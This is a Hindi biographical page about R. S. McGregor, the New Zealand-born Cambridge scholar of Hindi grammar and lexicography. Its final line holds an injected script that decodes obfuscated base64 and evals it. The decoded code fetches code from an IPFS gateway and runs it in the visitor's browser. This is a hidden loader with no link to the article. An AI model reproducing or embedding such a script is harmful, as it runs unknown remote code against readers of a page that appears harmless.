रोनाल्ड स्टुअर्ट मेक्ग्रेगॉर
भारत डिस्कवरी प्रस्तुति
रोनाल्ड स्टुअर्ट मेक्ग्रेगॉर
| |
पूरा नाम | रोनाल्ड स्टुअर्ट मेक्ग्रेगॉर |
जन्म | 1929 |
जन्म भूमि | न्यूजीलैण्ड |
मृत्यु | 19 अगस्त, 2013 |
कर्म भूमि | न्यूजीलैण्ड |
मुख्य रचनाएँ | 1972 में रोनाल्ड स्टुअर्ट मेक्ग्रेगॉर ने हिन्दी व्याकरण पर 'एन आउटलाइन ऑफ़ हिन्दी ग्रामर' नामक महत्वपूर्ण पुस्तक लिखी थी। |
अन्य जानकारी | मेक्ग्रेगॉर भारत में सर्वप्रथम 1959-1960 में 'इलाहाबाद विश्वविद्यालय' में हिन्दी की पढ़ाई करने के लिए आए थे। वे एक सच्चे हिन्दी प्रेमी थे, जो जीवन पर्यंत हिन्दी की सेवा में जुटे रहे। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
रोनाल्ड स्टुअर्ट मेक्ग्रेगॉर (अंग्रेज़ी: R. S. McGregor, जन्म- 1929, न्यूजीलैण्ड; मृत्यु- 19 अगस्त, 2013) को विदेशों में हिन्दी के प्रचार-प्रसार के लिए जाना जाता है। वे शीर्षस्थ भाषा विज्ञानी, व्याकरण के विद्वान, अनुवादक और हिन्दी साहित्य के प्रसिद्ध इतिहासकार थे।
- रोनाल्ड स्टुअर्ट मेक्ग्रेगॉर का जन्म न्यूजीलैण्ड में वर्ष 1929 ई. में हुआ था। वे स्काटिश माता-पिता की संतान थे।
- वे एक सच्चे हिन्दी प्रेमी थे, जो जीवन पर्यंत हिन्दी की सेवा में जुटे रहे।
- मेक्ग्रेगॉर को बचपन में फ़िजी से प्रकाशित हिन्दी के एक व्याकरण की पुस्तक किसी ने दी थी, जिसे पढ़ने के बाद उनका रुझान हिन्दी की ओर हो गया।[1]
- वे भारत में सर्वप्रथम 1959-1960 में 'इलाहाबाद विश्वविद्यालय' में हिन्दी की पढ़ाई करने के लिए आए थे।
- 1964 से लेकर 1997 तक वे 'कैम्ब्रिज विश्वविद्यालय' में हिन्दी का अध्यापन करते रहे। वे एक उच्च स्तरीय भाषा विज्ञानी, व्याकरण के विद्वान, अनुवादक और हिन्दी साहित्य के इतिहासकार थे।
- श्री मेक्ग्रेगॉर ने 1972 में हिन्दी व्याकरण पर 'एन आउटलाइन ऑफ़ हिन्दी ग्रामर' नामक महत्वपूर्ण पुस्तक लिखी। इसका प्रकाशन प्रतिष्ठित 'ऑक्सफ़ोर्ड विश्वविद्यालय प्रेस' ने किया। इस पुस्तक में अंग्रेज़ी और हिन्दी में न केवल हिन्दी व्याकरण का गहन परिचय दिया गया है, बल्कि हिन्दी सीखने के लिए अभ्यास कार्य भी दिया गया है।
- विदेशी भाषाओं से हिन्दी सीखने के इच्छुक शिक्षार्थियों एवं भारत आकर व्यापार करने के इच्छुक व्यक्तियों में यह पुस्तक काफ़ी लोकप्रिय है।[1]
- मेक्ग्रेगॉर का 'हिन्दी-अंग्रेज़ी-शब्दकोश' भी काफ़ी प्रसिद्ध है।
- हिन्दी को अंतरराष्ट्रीय स्तर पर प्रतिष्ठित व स्थापित करने में मेक्ग्रेगॉर की भूमिका बहुत महत्वपूर्ण रही।
- 19 अगस्त, 2013 को 84 वर्ष की आयु में इनका निधन हो गया।
- मेक्ग्रेगॉर ने पश्चिमी देशों को हिन्दी से परिचित करवाने में महत्वपूर्ण भूमिका निभाई, इसके लिए हिन्दी जगत में सदैव स्मरणीय रहेंगे।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>